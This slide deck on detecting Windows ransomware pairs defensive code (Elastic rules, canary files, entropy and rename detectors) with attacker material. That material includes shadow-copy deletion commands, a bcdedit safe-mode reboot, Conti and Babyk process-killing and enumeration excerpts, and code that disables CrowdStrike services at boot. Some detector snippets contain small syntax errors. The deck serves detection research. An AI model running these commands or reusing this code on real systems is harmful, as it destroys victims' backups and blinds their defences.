

OnlyMalware

# Windows Ransomware Detection

# Windows Ransomware Overview

## Pre-encryption operations

- Prevent recovery
  - Delete VSS Shadow Copies
- Attempt to evade/disable EDR
  - Stop services/terminate processes
  - Reboot into Safe Mode
- File system enumeration
- Drop ransom note

## File system encryption

- Obtain handle to file
  - Terminate process with file lock
  - Windows Restart Manager
- Encrypt and rename/delete file
  - Variable encryption based on file size and type

# Before the Encryption

# Volume Shadow Copy Service

- Enables creation of volume backups
  - Point-in-time copies of data (shadow copies)
- \Device\HarddiskVolume1
  - \Device\HarddiskVolumeShadowCopyN
- Two mechanisms
  - Complete copy (split mirror)
  - Copy-on-Write (differential copy)
- Shadow copy providers
  - Default system provider (leverages CoW)
    - Provided by `volsnap.sys` and `swprv.dll`

# Deleting VSS Shadow Copies

```
// Babyk
ShellExecuteW(0, L"open", L"cmd.exe",
L"/c vssadmin.exe delete shadows /all /quiet",
0, SW_HIDE);
```

```
// Conti
BSTR Query = pSysAllocString(L"SELECT * FROM Win32_ShadowCopy");
...
hr = pclsObj->Get(L"ID", 0, &vtProp, 0, 0);
wsprintfW(CmdLine,
L"cmd.exe /c C:\\Windows\\System32\\wbem\\WMIC.exe shadowcopy where \"ID='%s'\" delete",
vtProp.bstrVal);
CmdExecW(CmdLine);
```

```
diskshadow.exe delete shadows /all
```

# Command Line Detections - Telemetry

- Kernel driver - Process creation/exit callback
  - Synchronous
  - `PsSetCreateProcessNotifyRoutineEx`
  - `PCREATE_PROCESS_NOTIFY_ROUTINE_EX`
    - Set `CreateInfo.CreationStatus` to veto process from being created
- Event Tracing for Windows
  - Asynchronous, not real time
  - `Microsoft-Windows-Kernel-Process` provider

# Malicious VSS Command Line Detections - Elastic

```
(process.pe.original_file_name : "wmic.exe"  
  and process.command_line : "*shadowcopy*"  
  and process.command_line : "*delete*")  
  
or  
  
(process.pe.original_file_name : "vssadmin.exe"  
  and process.command_line : "*shadows*"  
  and process.command_line : ("*delete*", "*resize*401*"))
```

- No detections for `diskshadow.exe delete shadows /all`

# Avoiding Command Line Detections (1)

- EDR is **good** at malicious command line detection and prevention
- Run Portable Executable with command line in-memory
  - Avoids process creation (no `PCREATE_PROCESS_NOTIFY_ROUTINE_EX` callback)
- Readily available open source implementations
  - Many C2 frameworks additionally provide this functionality (BRC4/Cobalt Strike/Havoc)

# Avoiding Command Line Detections (2)

- Use Microsoft COM providers
- `IVssSoftwareSnapshotProvider::DeleteSnapshots`
  - Delete snapshot
- `IVssDifferentialSoftwareSnapshotMgmt::ChangeDiffAreaMaximumSize`
  - Resize storage association for shadow copy storage
    - Set to smallest acceptable byte size (1 byte)
    - Causes shadow copies to disappear - deleting them

# Avoiding Command Line Detections (3)

- Reimplement the actual IOCTL's used by these providers/CLI utilities
- Approach first documented by Fortinet in 2020
- All implementations at the heart will use IOCTLs
- Detection/Prevention requires IRP filtering at **kernel level**

# VSS Abuse - IOCTLs

```
vssadmin delete shadows /for=c: /all  
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=1
```

- Open handle to \Device\HarddiskVolumeShadowCopyN
- Send `IOCTL_VOLSnap_DELETE_SNAPSHOT`
- Or `IOCTL_VOLSnap_SET_MAX_DIFF_AREA_SIZE`
  - Public proof of concept by @gtworek in 2021
  - Growing number of ransomware leverage this

# Safe Mode

- Abuse technique:
  - EDRs do not run in Safe Mode
  - Reboot into Safe Mode to evade detection
- Prevention methods:
  - Block bcdedit command line via `PsSetCreateProcessNotifyRoutineEx`
  - Monitor BCD registry via `CmRegisterCallback`

## Example Abuse

```
bcdedit /set {current} safeboot minimal  
shutdown /r /f t 00
```

## Detection rule (Elastic):

```
(process.name : "bcdedit.exe" or  
process.pe.original_file_name :  
"bcdedit.exe") and process.args :  
("minimal", "network",  
"safebootalternateshell")
```

# Process Termination

- Attempt to stop services from predefined list
  - Databases, Security Products, Backup software, etc.
- Terminate processes
  - Either everything not a critical process
  - Predefined list
- Release handles to files
- Free up system resources

# Process Termination

```
// Conti
LPCWSTR WhitelistNames[] = {
    L"spoolsv.exe",
    L"explorer.exe",
    L"sihost.exe",
    L"fontdrvhost.exe",
    L"cmd.exe",
    L"dwm.exe",
    L"LogonUI.exe",
    L"SearchUI.exe",
    L"lsass.exe",
    L"csrss.exe",
    L"smss.exe",
    L"winlogon.exe",
    L"services.exe",
    L"conhost.exe"
};
```

```
// Babyk
static const WCHAR* processes_to_stop[] = {
    L"sql.exe",
    L"oracle.exe",
    L"ocssd.exe",
    L"dbsnmp.exe",
    L"syncntime.exe",
    L"agntsvc.exe",
    L"isqlplussvc.exe",
    L"xfssvccon.exe",
    L"ocautoupds.exe",
    L"encsvc.exe",
    L"tbirdconfig.exe",
    L"mydesktopqos.exe",
    L"ocomm.exe",
    L"dbeng50.exe",
    L"sqbcoreservice.exe",
    ...
};
```

# Process Termination - Conti

```
VOID
process_killer::KillAll(__out PPID_LIST PidList) {
    ...
    do {
        // Skips whitelisted file names
        HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_TERMINATE, FALSE,
            pe32.th32ProcessID);
        if (hProcess) {
            ULONG IsCriticalProcess;
            ULONG Size;
            NTSTATUS Status = NtQueryInformationProcess(hProcess, ProcessBreakOnTermination,
                &IsCriticalProcess, sizeof(ULONG), &Size);

            if (!IsCriticalProcess)
                TerminateProcess(hProcess, EXIT_SUCCESS);
            pCloseHandle(hProcess);
        }
    } while (Process32NextW(hSnapShot, &pe32));
}
```

# File System Enumeration

- Drive enumeration strategies:
  - All system drives (C:, D:, etc.)
  - User directories and common folders
  - Skip unnecessary paths for performance
- File filtering:
  - Queue files matching target criteria
  - Exclude system files ( `.exe` , `.dll` , `.sys` )
  - Skip already encrypted files ( `.ransom_ext` )

# File System Enumeration - Babyk

```
void _processDrive(WCHAR driveLetter) {  
    if (WCHAR* driveBuffer = (WCHAR*)_halloc(7 * sizeof(WCHAR)))  
        // ... build full path \\\?\C:  
  
        if (DWORD driveType = GetDriveTypeW(driveBuffer))  
            if (driveType != DRIVE_CDROM) {  
                if (driveType != DRIVE_REMOTE)  
                    find_paths_recursive(driveBuffer);  
                else // ... Handle network shares  
            }  
}  
  
if (DWORD dwDrives = GetLogicalDrives()) {  
    for (WCHAR disk = L'A'; disk <= L'Z'; ++disk) {  
        if (dwDrives & 1) _processDrive(disk);  
        dwDrives >>= 1;  
    }  
}
```

# File System Enumeration - Babyk

```
lstrcatW(localDir, L"\\*");
HANDLE hIter = FindFirstFileW(localDir, &fd);
do {
    lstrcpyW(localDir, dirPath);
    lstrcatW(localDir, L"\\");
    lstrcatW(localDir, fd.cFileName);

    if (!(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
        for (int i = lstrlenW(fd.cFileName) - 1; i >= 0; i--) {
            if (fd.cFileName[i] == L'.')
                if (lstrcmpiW(fd.cFileName + i, L".exe") == 0 || lstrcmpiW(fd.cFileName + i, L".dll") == 0
                    || lstrcmpiW(fd.cFileName + i, L".babyk") == 0) goto skip;
            else break;

            while (_que_push(&que_f, localDir, FALSE) == 0)
                while (WCHAR* path = _que_pop(&que_f, FALSE, &iError))
                    _encrypt_file(path);
        }
    }
    skip;;
} while (FindNextFileW(hIter, &fd));
```

# File System Enumeration - Conti

```
do {
    if (!plstrcmpW(FindData.cFileName, OBFW(L".")) ||
        !plstrcmpW(FindData.cFileName, OBFW(L"..")) ||
        FindData.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT)
        continue;
    if (FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY &&
        CheckDirectory(FindData.cFileName)) {
        std::wstring Directory = MakePath(CurrentDirectory, FindData.cFileName);
        PDIRECTORY_INFO DirectoryInfo = new DIRECTORY_INFO;
        DirectoryInfo->Directory = Directory;
        TAILQ_INSERT_TAIL(&DirectoryList, DirectoryInfo, Entries);
    }
    else if (CheckFilename(FindData.cFileName)) {
        std::wstring Filename = MakePath(CurrentDirectory, FindData.cFileName);
        INT TasksCount = threadpool::PutTask(ThreadPoolID, Filename);
        if (TasksCount >= MAX_TASKS)
            threadpool::SuspendThread(ThreadPoolID);
    }
} while (pFindNextFileW(hSearchFile, &FindData));
```

# Hijacking File System Enumeration

- `FindFirstFile` behavior on NTFS:
- Returns files in directory entry table order
- Roughly alphabetical, but not guaranteed
- Force early enumeration using prefixes:
  - `$` has lowest ASCII/Unicode value
  - `aa` / `zz` prefixes (Elastic's approach)
  - Hidden attribute (some vendors)
- Result: Ransomware encrypts our canaries first!
  - Early detection before real files affected

# Canary Files

# Canary Files - Elastic

- File system operations telemetry provided by kernel driver
- Deploy in known starting points for ransomware encryption
  - User directories
  - Root directories (e.g. `C:\`)
- Creates files in both aa and zz prefixed directories
- Uses multiple common file extensions (.txt, .doc, .docx, etc.)

# Canary Files - Elastic

```
local canaries = {}
local canaryDirNames = {}
local canaryFileNames = {}
local canaryExtensions = {'txt', 'doc', 'docx', 'docm', 'dot', 'xls', 'xlsx', 'xlsb', 'ppt', 'pptx', 'pptm'}

-- Generate a canary file content, for now all canary files have the same content.
local canaryContent = globals.CreateCanaryContent()

-- Get the %windir%.
local windowsPath = GetKnownFolderPath('{F38BF404-1D43-42F2-9305-67DE0B28FC23}')

canaryDirNames = {
    'aaAntiRansomElastic-DO-NOT-TOUCH-dab6d40c-a6a1-442c-adc4-9d57a47e58d7',
    'zzAntiRansomElastic-DO-NOT-TOUCH-dab6d40c-a6a1-442c-adc4-9d57a47e58d7'
}
canaryFileNames = {'AntiRansomElastic-DO-NOT-TOUCH-4568452b-fc17-414d-afb6-ddeceb5ec54c'}
```

# Canary Files - Elastic (2)

```
for _, dirName in ipairs(canaryDirNames) do
    for _, fileName in ipairs(canaryFileNames) do
        for _, ext in ipairs(canaryExtensions) do
            local canaryFileName = fileName .. '.' .. ext
            -- Iterate over all user directories.
            for _, userProfile in ipairs(utils.GetAllUserProfiles()) do
                local canaryFullPath = userProfile .. '\\\\' .. dirName .. '\\\\' .. canaryFileName
                local canary = globals.Canary(canaryFullPath, canaryContent)
                table.insert(canaries, canary)
            end
            -- Include also the root directory.
            local canaryFullPath = windowsPath .. '\\\\.\\' .. dirName .. '\\\\' .. canaryFileName
            local canary = globals.Canary(canaryFullPath, canaryContent)
            table.insert(canaries, canary)
        end
    end
end
```

# Windows Projected File System

- User-mode virtual file system framework
  - Similar to Linux FUSE
  - No kernel driver development needed
- Provides **real-time** callbacks on file system activity
  - File: Create, Read, Write, Rename, Delete
  - Directory: Enumeration, Create, Delete
  - Handle: Open, Close, Modified notifications
  - Full access to file content buffers
- Benefits for ransomware detection:
  - Complete visibility into file operations on virtualization root
  - Process context for each operation

# Projected File System - Canary Files

```
auto fs = std::make_unique<InMemoryFS>(L"Root");
{
    auto sub = std::make_unique<FsNode>(L"FolderA",
        FsNode::Type::Directory);
    sub->setRandomTimes();
    createSampleFiles(sub.get());
    fs->root()->addChild(std::move(sub));
}
{
    auto sub = std::make_unique<FsNode>(L"FolderB",
        FsNode::Type::Directory);
    sub->setRandomTimes();
    createSampleFiles(sub.get());
    fs->root()->addChild(std::move(sub));
}
```

# Projected File System - Canary Files

```
static void createSampleFiles(FsNode* parent)
{
    if (!parent || !parent->isDirectory()) return;
    static const std::string types[] = { "docx", "xlsx", "pdf", "txt" };
    for (int i = 0; i < 4; i++) {
        auto gen = ContentRegistry::instance().get(types[i]);
        if (!gen) continue;

        auto node = std::make_unique<FsNode>(
            std::wstring(L"Random_") + std::to_wstring(i) + L"." +
            std::wstring(types[i].begin(), types[i].end()),
            FsNode::Type::File);
        node->setRandomTimes();
        auto data = gen->generateFile();
        node->setContent(data);
        parent->addChild(std::move(node));
    }
}
```

# Projected File System - File Operation Callbacks

```
PRJ_NOTIFICATION_MAPPING nm[1];
nm[0].NotificationRoot = L"";
nm[0].NotificationBitMask = (PRJ_NOTIFY_TYPES)(
    PRJ_NOTIFICATION_FILE_OPENED
    | PRJ_NOTIFICATION_FILE_RENAMED
    | PRJ_NOTIFICATION_PRE_RENAME
    | PRJ_NOTIFICATION_FILE_OVERWRITTEN
    | PRJ_NOTIFICATION_FILE_HANDLE_CLOSED_FILE_MODIFIED
    | PRJ_NOTIFICATION_PRE_DELETE
    | PRJ_NOTIFICATION_FILE_HANDLE_CLOSED_FILE_DELETED
);
PRJ_STARTVIRTUALIZING_OPTIONS opts{};
opts.NotificationMappings = nm;
opts.NotificationMappingsCount = 1;
opts.PoolThreadCount = 4;
opts.ConcurrentThreadCount = 4;

HRESULT hr = provider.Start(LR"(C:\$Honeypot)", &opts);
```

During the Encryption

# Ransomware File System Encryption

- Worker threads dequeue files to encrypt
- Encryption varies by file size and type:
  - Partial encryption for large files
  - Different algorithms by extension
- Append encrypted metadata to file:
  - Encrypted symmetric key
  - Decryption parameters
- Common operation sequence:
  - Encrypt content
  - Append metadata
  - Rename/delete original

# Detection Metrics

- Process-based scoring system
  - Track malicious operations per PID
  - Threshold triggers detection response
- File content analysis
  - Header validation (e.g. PDF magic bytes)
  - Entropy measurement for encryption detection
- File operation patterns
  - Track rename/delete frequency
  - Monitor for known ransomware extensions
- Detection scope optimization
  - Apply rules to canary files primarily
  - Balance between coverage and performance

# Detection Implementations

- Most vendors leverage file system minifilter drivers
- Elastic's open-source approach demonstrates typical patterns:
  - Implements **scoring-based threshold** with Lua detection engine
  - Multiple detection vectors:
    - File operations (rename, write, delete)
    - Ransom note detection
    - Known extension blacklist

## Projected File System - Canary Detection Engine

```
DetectionEngine engine(/*threshold=*/5, /*ttlSec=*/300);  
engine.addDetector(std::make_unique<RenameThresholdDetector>(3));  
engine.addDetector(std::make_unique<EntropyDetector>(1.5));  
engine.addDetector(std::make_unique<MagicHeaderDetector>());  
  
engine.addResponse(logSuspicious);  
engine.addResponse(terminateProcess);  
  
InMemoryProvider provider(std::move(fs), engine);
```

# Header Mismatch

On file write/handle close, check if file header (magic bytes) match the file extension.

---

Limitations:

- Ransomware can preserve original file headers by:
  - Only encrypting file content after magic bytes
  - Copying original headers back after encryption
- Some file types lack consistent magic bytes
- Files without standard headers (like .txt) can't be validated
- Headers can be valid but content still encrypted
- Performance impact of reading file headers for every write operation

```

class MagicHeaderDetector : public IDetector {
public:
    DetectionResult onEvent(const DetectionEvent& e) override {
        DetectionResult r{};
        if (((e.note & PRJ_NOTIFICATION_FILE_OVERWRITTEN) != 0) ||
            ((e.note & PRJ_NOTIFICATION_FILE_HANDLE_CLOSED_FILE_MODIFIED) != 0)) {
            if (!e.oldData.empty() && !e.newData.empty()) {
                auto oldType = ContentRegistry::instance().detectTypeByMagic(e.oldData);
                auto newType = ContentRegistry::instance().detectTypeByMagic(e.newData);
                if (!oldType.empty() && oldType != newType) {
                    r.score = 2;
                    if (newType.empty())
                        r.reason = "Magic header changed from " + oldType + " to UNKNOWN";
                    else
                        r.reason = "Magic header changed from " + oldType + " to " + newType;
                }
            }
        }
        return r;
    }
};

```

# Entropy Jump

An increased entropy of file content is a good indicator of encrypted content.

---

Limitations:

- Partially encrypted files may not raise overall entropy past thresholds
- Pre-compressed/encrypted files already have high entropy
- Ransomware can lower entropy by padding encrypted content
- Threshold tuning challenges: balancing detection vs false positives

```

class EntropyDetector : public IDetector {
public:
    explicit EntropyDetector(double delta = 1.5)
        : m_delta(delta) { }

    DetectionResult onEvent(const DetectionEvent& e) override
    {
        DetectionResult r{};
        // only consider overwrites or "file handle closed after modification"
        if (((e.note & PRJ_NOTIFICATION_FILE_OVERWRITTEN) != 0) ||
            ((e.note & PRJ_NOTIFICATION_FILE_HANDLE_CLOSED_FILE_MODIFIED) != 0))
        {
            if (!e.oldData.empty() && !e.newData.empty())
            {
                double oldEnt = computeEntropy(e.oldData);
                double newEnt = computeEntropy(e.newData);
                if (newEnt - oldEnt >= m_delta)
                {
                    r.score = 2;
                    char buf[128];
                    sprintf_s(buf, "Entropy rose from %.2f to %.2f", oldEnt, newEnt);
                    r.reason = buf;
                }
            }
        }
        return r;
    }
private:
    double m_delta = 1.5;
};

```

# File Renaming

Single process renames several files to an unknown extension in a short period of time.  
Maintain known bad file extension dictionary to check against.

---

Limitations of Rename Threshold Detection:

- Ransomware can avoid rename operations by:
  - Creating new encrypted files and deleting originals
- False positives from legitimate batch rename operations
- Distribute file encryption/renaming across multiple PIDs
- Challenges in setting appropriate thresholds for different environments

```

class RenameThresholdDetector : public IDetector {
public:
    explicit RenameThresholdDetector(int threshold)
        : m_threshold(threshold) { }
    DetectionResult onEvent(const DetectionEvent& e) override
    {
        DetectionResult r{};
        if ((e.note & PRJ_NOTIFICATION_FILE_RENAMED) != 0) ||
            ((e.note & PRJ_NOTIFICATION_PRE_RENAME) != 0))
        {
            std::lock_guard<std::mutex> lock(m_mtx);
            int& count = m_map[e.pid];
            count++;
            if (count >= m_threshold) {
                r.score = 2;
                r.reason = "Excessive rename count";
            }
        }
        return r;
    }
private:
    int m_threshold = 3;
    std::mutex m_mtx;
    std::unordered_map<DWORD, int> m_map;
};

```

# Path History Detection

Path history evaluates file operations in sequence to detect ransomware patterns like creating encrypted files immediately after deleting originals.

---

Limitations:

- Ransomware can split operations across multiple processes
- Can't detect if file is moved before encryption
- High false positives on batch file operations

```

function Ransomware.PathHistory(eventData, processData)
    -- Track all operations per filepath
    local pathEventTable = {}
    for _, v in pairs(processData.events) do
        if not pathEventTable[v.filePath] then
            pathEventTable[v.filePath] = {}
        end
        table.insert(pathEventTable[v.filePath], v.operation)
    end
    if globals.FILE_DELETE == eventData.operation then
        -- Check if filepath was previously created with high entropy
        local prevCreate = false
        for _, prevOperation in pairs(pathEventTable[eventData.filePath]) do
            if globals.FILE_CREATE_NEW == prevOperation then
                prevCreate = true
                break
            end
        end
        if prevCreate and globals.ENTROPY_HIGH < v.entropy then
            eventData.alertScore = eventData.alertScore +
                globals.config.DELETE_WITH_HIGH_ENTROPY_PREVIOUS_CREATE['score']
            alert.RaiseFileAlertMetric(eventData,
                'DELETE_WITH_HIGH_ENTROPY_PREVIOUS_CREATE')
        end
    end
end
end

```

# Projected File System vs Babyk

Administrator: Command Prompt - powershell

```
[Notify] PID=9008, FILE_OPENED, old=, new=
[Notify] PID=9008, FILE_OPENED, old=FolderA\Random_1.xlsx, new=
[Notify] PID=9008, FILE_OPENED, old=FolderB\Random_3.txt, new=
[Notify] PID=9008, FILE_OPENED, old=FolderB\Random_2.pdf, new=
[Notify] PID=9008, FILE_OPENED, old=FolderB\Random_1.xlsx, new=
[Notify] PID=9008, FILE_OPENED, old=FolderB\Random_0.docx, new=
[Notify] PID=9008, FILE_OPENED, old=FolderA\Random_1.xlsx, new=
[Notify] PID=9008, FILE_OPENED, old=FolderB\Random_3.txt, new=
[Notify] PID=9008, FILE_OPENED, old=FolderA, new=
[Notify] PID=9008, PRE_RENAME, old=FolderA\Random_0.docx, new=FolderA\Random_0.docx.babyk
[Notify] PID=9008, PRE_RENAME, old=FolderA\Random_2.pdf, new=FolderA\Random_2.pdf.babyk
[Notify] PID=9008, FILE_OPENED, old=FolderB, new=
[Notify] PID=9008, FILE_OPENED, old=FolderA, new=
[Notify] PID=9008, PRE_RENAME, old=FolderA\Random_3.txt, new=FolderA\Random_3.txt.babyk
[Notify] PID=9008, FILE_OPENED, old=FolderB, new=
[Notify] PID=9008, FILE_OPENED, old=, new=
[Notify] PID=9008, FILE_OPENED, old=, new=
[Notify] PID=9008, FILE_OPENED, old=FolderB\Random_1.xlsx, new=
[Notify] PID=9008, FILE_OPENED, old=FolderB, new=
[Notify] PID=9008, FILE_OPENED, old=FolderB, new=
[Notify] PID=9008, FILE_OPENED, old=, new=
[Notify] PID=9008, FILE_OPENED, old=FolderB\Random_2.pdf, new=
[Notify] PID=9008, PRE_RENAME, old=FolderB\Random_3.txt, new=FolderB\Random_3.txt.babyk
[Notify] PID=9008, FILE_OPENED, old=FolderB, new=
[Notify] PID=9008, FILE_OPENED, old=FolderB\Random_0.docx, new=
[Notify] PID=9008, PRE_RENAME, old=FolderB\Random_1.xlsx, new=FolderB\Random_1.xlsx.babyk
[ALERT] PID=9008 => suspicious (score=6). reasons=Excessive rename count;
[Notify] PID=9008, FILE_OPENED, old=FolderB, new=
[ALERT] Terminated PID=9008.
```

# Projected File System Caveats

- Complex API, limited documentation/examples
- Requires admin and enabling the Windows feature
  - `Enable-WindowsOptionalFeature -Online -FeatureName Client-ProjFS -NoRestart`
- Ransomware can detect ProjFS virtualization:
  - By checking for virtualization roots directly
  - By identifying `FILE_ATTRIBUTE_REPARSE_POINT`
- Could selectively avoid encrypting ProjFS directories
- Cannot virtualize existing directories
  - E.g. cannot mark `c:\` as the virtualization root

# Early Boot Ransomware

# Early Boot - Security Considerations

- `BootExecute` mechanism:
  - **Runs unsigned apps before Win32 initialization**
    - Executes before EDR loads (services/drivers)
  - Enables disabling of EDR services during boot
  - **Enables manipulation of Shadow Copy volumes**
- Vendor detection gaps:
  - Only monitor `BootExecute` registry key
  - Miss other boot-time registry keys (new keys added in Windows 11)
    - `BootExecuteNoPnpSync` , `SetupExecute` , `PlatformExecute` , e.g.

# Early Boot - EDR Service Tampering

```
static const WCHAR ServicesPath[] =
L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services";

static const WCHAR* services[] = {
    L"CSFalconService",
    L"CSAgent",
};

for (int i = 0; i < (int)(sizeof(services) / sizeof(services[0])); i++) {
    if (_wcsicmp(serviceNameBuf, services[i]) == 0) {
        present = TRUE;
        break;
    }
}

if (present) {
    UNICODE_STRING basePath;
    RtlInitUnicodeString(&basePath, ServicesPath);

    USHORT totalLen = basePath.Length + sizeof(WCHAR) + serviceNameLen;
    fullBuf = (PWCH)RtlAllocateHeap(g_Heap, 0, totalLen + sizeof(WCHAR));
    if (!fullBuf) {
        status = STATUS_NO_MEMORY;
        goto service_cleanup;
    }
}
```

```
memcpy(fullBuf, basePath.Buffer, basePath.Length);
fullBuf[basePath.Length / sizeof(WCHAR)] = L'\\';
memcpy(&fullBuf[(basePath.Length / sizeof(WCHAR)) + 1],
    kbi->Name, serviceNameLen);
fullBuf[totalLen / sizeof(WCHAR)] = L'\\0';

UNICODE_STRING serviceKeyName;
serviceKeyName.Buffer = fullBuf;
serviceKeyName.Length = totalLen;
serviceKeyName.MaximumLength = totalLen + sizeof(WCHAR);

OBJECT_ATTRIBUTES svcOa;
InitializeObjectAttributes(
    &svcOa, &serviceKeyName, OBJ_CASE_INSENSITIVE, NULL, NULL);

HANDLE hService;
NTSTATUS openStatus = NtOpenKey(&hService, KEY_ALL_ACCESS, &svcOa);

if (NT_SUCCESS(openStatus)) {
    SetDwordValue(hService, L"Start", 4); // Disabled
    SetDwordValue(hService, L"Type", 0x10); // Win32 Own Process
    NtClose(hService);
}
}
```

# Boot Execute Validation

- ELAM drivers provide early-boot protection:
  - Run at earliest boot stage
  - Launch before BootExecute entries
  - Can validate signatures via Code Integrity API
- Mitigation capabilities:
  - Remove malicious registry entries
  - Block unsigned applications
  - Thus, prevent EDR tampering attempts

# Takeaways

- Ransomware detection is hard
  - Cat and Mouse game
  - Each detection threshold has several limitations
  - Exfiltration is its own big problem
- Vendors should focus on securing VSS service
  - VSS was not designed with security in mind
  - VSS providers to enable high-integrity local/remote backups
  - **Focus on detection of the underlying mechanism**
    - (prevention vs prescription)
  - Focus on **IRP filtering** and access control at kernel level
    - Access control on destructive IOCTLS

**Any Questions?**